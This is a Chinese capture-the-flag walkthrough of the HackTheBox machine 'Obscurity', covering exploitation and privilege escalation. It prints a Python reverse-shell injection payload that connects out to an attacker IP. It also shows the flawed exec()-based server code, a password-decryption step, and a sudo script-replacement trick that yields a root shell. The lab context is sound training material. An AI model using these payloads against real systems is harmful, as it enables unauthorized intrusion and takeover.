HTB:Obscurity渗透测试(二)

简介: HTB:Obscurity渗透测试

二、漏洞利用

当exec在该字符串上调用时,它会保存output,但也会进行os.system调用。如果我想使用subprocess而不是运行进程os,我需要这样做。/';os.system('ping%20-c%201%2010.10.10.168');'

1.编写poc

http://10.10.10.168:8080/';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.140",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc开始监听1234端口

a84149e89f7becd9d447602cfa346ba3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

2.反弹shell

0999df076579098f7bd4420af65e7461_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

进入home目录下,发现存在一个SuperSecureCrypt.py脚本,

使用-h命令会提示其用法。

70c937081f61c2d575eab443c0a18086_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

还有一些pass.txt,check.txt等。

bee21ba4b649686ab274cfd9c970e304_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

使用python获得交互式shell,

python3 -c 'import pty; pty.spawn("/bin/bash")'

cf0fd4082c74cf8b7e510f490d96948a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

3.获取登录密码

在BetterSSH目录下,存在解密脚本check.txt、out.txt及passwordreminder.txt。

使用脚本来获取登录密码

python3 SuperSecureCrypt.py -i passwordreminder.txt -d-k alexandrovich -o /dev/shm/.df

640cd467086d1f83a22b660d594e0153_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

成功获取到登录密码。

4.SSH登录

使用ssh进行远程登录。

3cb66b4fe0d9326b748e365b7888963c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

成功找到了第一个user.txt文件。

87a4e1b2e93ba9929007fe415b715a1c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

三、权限提升

sudo -l 发现了存在BetterSSH.py可执行root.

17911be1859736f2056e7c9ba905bd2d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

1.脚本分析

import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)
class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False
    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))
    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()
    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the received data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"
        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )
        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0
    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

这个脚本:

  • 创建一个随机路径名。
  • 从用户那里读取用户名和密码。
  • 读取/etc/shadow、提取包含 的行$并将其写入/tmp/SSH/[random path].
  • 睡眠 0.1 秒。
  • 循环修剪文件中的每一行shadow,并根据输入密码的哈希检查每个哈希。成功时,它设置session['authenticated'] = 1. 失败时,它会删除临时shadow文件并退出。
  • 删除临时shadow文件。
  • 进入读取命令、执行命令并显示结果的无限循环。

2.创建一个/tmp/SSH目录,必须是大写,小写的会报错。

输入之前获取到的用户和密码。使用sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py执行脚本。

e0958ccfe21a656f30214eaf912b3094_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

出现Authed,然后退出。

e33eb78ce6856d62223b3f5bce469124_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

2.移动BetterSSH 目录进行权限提升

使用ls -ld robert进行查看其权限,同理也查看一下BetterSSH的。

a121e0ba479614a43184569c92ac2d52_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

我的思路就是打算删除这个目录,然后重新创建一个,写入提权的脚本。

使用rm -rf 强制删除,提升权限不够。这里有一个小trips,我们不能删除,我们可以将它进行移动。然后在创建一个新的。使用mv BetterSSH{,-old}来完成操作。

79752b80d15961598e7a87b0710362c1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

然后mkdir创建新的目录。使用echo写入提权语法。最后使用sudo执行脚本。

echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")'
echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")' > BetterSSH/BetterSSH.py 
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

4101c69d3f48cf660139b05db959fcbd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

3.获得root权限

成功获得root权限,并最后找到了root.txt,成功完成靶机。

e9bbe19484e7119d307152cf24f02981_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

总结:

靶机难度属于中等靶机水平,全文思路就是信息收集,使用nmap或者masscan进行端口扫描,访问web页面,发现提示,接着使用wfuzz进行指定路径fuzz。然后找到py脚本,接着进行脚本分析,发现脚本存在的漏洞。构造poc然后进行反弹shell,反弹shell之后,发现存在另一个新的脚本,存在密码加密方式和密码本。进行解密,解密之后使用ssh进行远程登录。使用sudo -l发现xx路径下的python脚本拥有root权限,接着进行移动该目录写入提权语法成功提权。

相关文章
|
网络协议 Linux 网络安全
记一次对HTB:Timelapse的渗透测试
记一次对HTB:Timelapse的渗透测试
222 0
记一次对HTB:Timelapse的渗透测试
|
SQL 安全 前端开发
HTB:Charon渗透测试(二)
HTB:Charon渗透测试
151 0
HTB:Charon渗透测试(二)
|
SQL 安全 Linux
HTB:Charon渗透测试(一)
HTB:Charon渗透测试
144 0
HTB:Charon渗透测试(一)
|
网络安全 Python
HTB:Obscurity渗透测试(一)
HTB:Obscurity渗透测试
141 0
HTB:Obscurity渗透测试(一)
|
3月前
|
安全 网络安全
Kali渗透测试:使用Armitage扫描网络
Kali渗透测试:使用Armitage扫描网络
75 3
|
3月前
|
安全 Linux 网络安全
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
79 2
|
3月前
|
Python Windows 网络安全
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)
96 2
|
3月前
|
Java 网络安全 Windows
Kali渗透测试:使用 Armitage生成被控端和主控端
Kali渗透测试:使用 Armitage生成被控端和主控端
65 2
|
27天前
|
Linux Shell 网络安全
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
本指南介绍如何利用 HTA 文件和 Metasploit 框架进行渗透测试。通过创建反向 shell、生成 HTA 文件、设置 HTTP 服务器和发送文件,最终实现对目标系统的控制。适用于教育目的,需合法授权。
61 9
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
|
2月前
|
编解码 安全 Linux
网络空间安全之一个WH的超前沿全栈技术深入学习之路(10-2):保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali——Liinux-Debian:就怕你学成黑客啦!)作者——LJS
保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali以及常见的报错及对应解决方案、常用Kali功能简便化以及详解如何具体实现